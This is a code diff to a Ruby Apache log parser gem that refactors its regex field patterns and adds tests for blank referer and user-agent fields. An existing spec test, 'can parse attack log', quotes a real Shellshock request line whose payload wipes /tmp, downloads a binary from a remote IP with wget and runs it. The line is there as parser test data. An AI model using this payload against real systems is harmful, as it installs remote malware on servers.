Clearer patterns

apache_log-parser.gemspec

@@ -18,7 +18,9 @@ Gem::Specification.new do |spec|
   spec.test_files    = spec.files.grep(%r{^(test|spec|features)/})
   spec.require_paths = ["lib"]
 
-  spec.add_development_dependency "bundler", "~> 1.6"
+  spec.add_development_dependency "bundler", "> 1.6"
   spec.add_development_dependency "rake"
   spec.add_development_dependency "rspec"
+  spec.add_development_dependency "rubocop"
+  spec.add_development_dependency "rubocop-rspec"
 end

lib/apache_log/parser.rb

@@ -3,27 +3,39 @@
 
 module ApacheLog
   class Parser
-    COMMON_FIELDS = %w(remote_host identity_check user datetime request status size)
-    COMBINED_FIELDS = COMMON_FIELDS + %w(referer user_agent)
+    COMMON_FIELDS = %i[remote_host identity_check user datetime request status size]
+    COMBINED_FIELDS = COMMON_FIELDS + %i[referer user_agent]
+
+    BAREWORD = '(\S+)'
+    QUOTED = '"(.*?[^\\\\]|)"'
+
+    PATTERNS = {
+      remote_host: '((?:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})|(?:[\w:]+?))',
+      identity_check: BAREWORD,
+      user: BAREWORD,
+      datetime: '\[(\d{2}\/.*\d{4}:\d{2}:\d{2}:\d{2}\s.*)\]',
+      request: QUOTED,
+      status: BAREWORD,
+      size: BAREWORD,
+      referer: QUOTED,
+      user_agent: QUOTED
+    }
 
-    COMMON_PATTERN = '(?:^|\s)((?:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})|(?:[\w:]+?))\s+(\S+)\s+(\S+)\s+\[(\d{2}\/.*\d{4}:\d{2}:\d{2}:\d{2}\s.*)\]\s+"(.*?)"\s+(\S+)\s+(\S+)'
-    COMBINED_PATTERN = COMMON_PATTERN + '\s+"(.*?[^\\\\])"\s+"(.*?[^\\\\])"'
     ADDITIONAL_PATTERN = '\s+"?([^"]*)"?'
 
-    def initialize(format, additional_fields=[])
-      additional_pattern = ''
-      additional_pattern << ADDITIONAL_PATTERN * additional_fields.size
-
-      case format
-      when 'common'
-        @fields = COMMON_FIELDS + additional_fields
-        @pattern = /#{COMMON_PATTERN}#{additional_pattern}/
-      when 'combined'
-        @fields = COMBINED_FIELDS + additional_fields
-        @pattern = /#{COMBINED_PATTERN}#{additional_pattern}/
-      else
-        raise "format error\n no such format: <#{format}> \n"
-      end
+    def initialize(format, additional_fields = [])
+      additional_pattern = ADDITIONAL_PATTERN * additional_fields.size
+
+      base_fields = case format.to_s
+                    when 'common' then COMMON_FIELDS
+                    when 'combined' then COMBINED_FIELDS
+                    else raise "format error\n no such format: <#{format}> \n"
+                    end
+
+      base_pattern = '(?:^|\s)' + base_fields.map { |f| PATTERNS[f] }.join('\s+')
+
+      @fields = base_fields + additional_fields.map(&:to_sym)
+      @pattern = /#{base_pattern}#{additional_pattern}/
     end
 
     def parse(line)
@@ -38,16 +50,11 @@ def parse(line)
 
     def generate_hash(keys, values)
       keys.each.with_index(1).each_with_object({}) do |(key, i), hash|
-        key = key.to_sym
-
-        case key
-        when :datetime
-          hash[key] = to_datetime(values[i])
-        when :request
-          hash[key] = parse_request(values[i])
-        else
-          hash[key] = values[i]
-        end
+        hash[key] = case key
+                    when :datetime then to_datetime(values[i])
+                    when :request then parse_request(values[i])
+                    else values[i]
+                    end
       end
     end
 

spec/apache_log/parser_spec.rb

@@ -54,6 +54,26 @@
     expect(entity).to eq(expect)
   end
 
+  it 'can parse combined log with blank referer' do
+    line = '192.168.0.1 - - [07/Feb/2011:10:59:59 +0900] "GET /x/i.cgi/net/0000/ HTTP/1.1" 200 9891 "" "DoCoMo/2.0 P03B(c500;TB;W24H16)"';
+    parser = ApacheLog::Parser.new('combined')
+    entity = parser.parse(line.chomp)
+    expect = {remote_host: '192.168.0.1', identity_check: '-', user:'-', datetime: DateTime.new(2011, 2, 7, 10, 59, 59, 0.375),
+      request: {method: 'GET', path: '/x/i.cgi/net/0000/', protocol: 'HTTP/1.1'}, status: '200', size: '9891', referer: '',
+      user_agent: 'DoCoMo/2.0 P03B(c500;TB;W24H16)'}
+    expect(entity).to eq(expect)
+  end
+
+  it 'can parse combined log with blank user agent' do
+    line = '192.168.0.1 - - [07/Feb/2011:10:59:59 +0900] "GET /x/i.cgi/net/0000/ HTTP/1.1" 200 9891 "-" ""';
+    parser = ApacheLog::Parser.new('combined')
+    entity = parser.parse(line.chomp)
+    expect = {remote_host: '192.168.0.1', identity_check: '-', user:'-', datetime: DateTime.new(2011, 2, 7, 10, 59, 59, 0.375),
+      request: {method: 'GET', path: '/x/i.cgi/net/0000/', protocol: 'HTTP/1.1'}, status: '200', size: '9891', referer: '-',
+      user_agent: ''}
+    expect(entity).to eq(expect)
+  end
+
   it 'can parse attack log' do
     line = '121.207.230.74 - - [13/Apr/2015:08:21:54 +0900] "GET / HTTP/1.1" 200 2392 "() { :; }; /bin/bash -c \"rm -rf /tmp/*;echo wget http://61.160.212.172:911/java -O /tmp/China.Z-orwj >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-orwj >> /tmp/Run.sh;echo /tmp/China.Z-orwj >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\"" "() { :; }; /bin/bash -c \"rm -rf /tmp/*;echo wget http://61.160.212.172:911/java -O /tmp/China.Z-orwj >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-orwj >> /tmp/Run.sh;echo /tmp/China.Z-orwj >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\""'
     parser = ApacheLog::Parser.new('combined')